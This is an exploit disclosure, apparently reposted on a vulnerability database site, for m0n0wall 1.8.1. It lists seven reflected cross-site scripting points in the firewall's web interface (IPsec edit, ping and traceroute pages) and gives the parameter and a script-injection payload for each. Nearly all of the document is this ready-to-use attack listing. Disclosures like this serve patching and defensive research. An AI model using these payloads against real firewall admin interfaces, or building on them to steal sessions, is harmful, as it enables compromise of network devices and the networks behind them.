`##################################################################################################################################
# Exploit Title: m0n0wall 1.8.1 | Cross-Site Scripting
# Date: 02.02.2019
# Exploit Author: Ozer Goker
# Vendor Homepage: https://m0n0.ch/wall/index.php
# Software Link:
http://sourceforge.net/projects/archiveos/files/m/monowall/generic-pc-1.8.1.iso/download
# Version: 1.8.1
##################################################################################################################################
Introduction
m0n0wall is a project aimed at creating a complete, embedded firewall
software package that, when used together with an embedded PC, provides all
the important features of commercial firewall boxes (including ease of use)
at a fraction of the price (free software).
m0n0wall is based on a bare-bones version of FreeBSD, along with a web
server, PHP and a few other utilities. The entire system configuration is
stored in one single XML text file to keep things transparent.
m0n0wall is probably the first UNIX system that has its boot-time
configuration done with PHP, rather than the usual shell scripts, and that
has the entire system configuration stored in XML format.
#################################################################################
XSS details: Reflected
#################################################################################
XSS1 | Reflected
URL
http://192.168.2.200/vpn_ipsec_edit.php
METHOD
Post
PARAMETER
remotenet
PAYLOAD
"><script>alert(1)</script>
#################################################################################
XSS2 | Reflected
URL
http://192.168.2.200/vpn_ipsec_edit.php
METHOD
Post
PARAMETER
remotegw
PAYLOAD
"><script>alert(2)</script>
#################################################################################
XSS3 | Reflected
URL
http://192.168.2.200/vpn_ipsec_edit.php
METHOD
Post
PARAMETER
p1myident
PAYLOAD
"><script>alert(3)</script>
#################################################################################
XSS4 | Reflected
URL
http://192.168.2.200/vpn_ipsec_edit.php
METHOD
Post
PARAMETER
p1lifetime
PAYLOAD
"><script>alert(4)</script>
#################################################################################
XSS5 | Reflected
URL
http://192.168.2.200/vpn_ipsec_edit.php
METHOD
Post
PARAMETER
p2lifetime
PAYLOAD
"><script>alert(5)</script>
#################################################################################
XSS6 | Reflected
URL
http://192.168.2.200/diag_ping.php
METHOD
Post
PARAMETER
host
PAYLOAD
"><script>alert(6)</script>
#################################################################################
XSS7 | Reflected
URL
http://192.168.2.200/diag_traceroute.php
METHOD
Post
PARAMETER
host
PAYLOAD
"><script>alert(7)</script>
#################################################################################
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation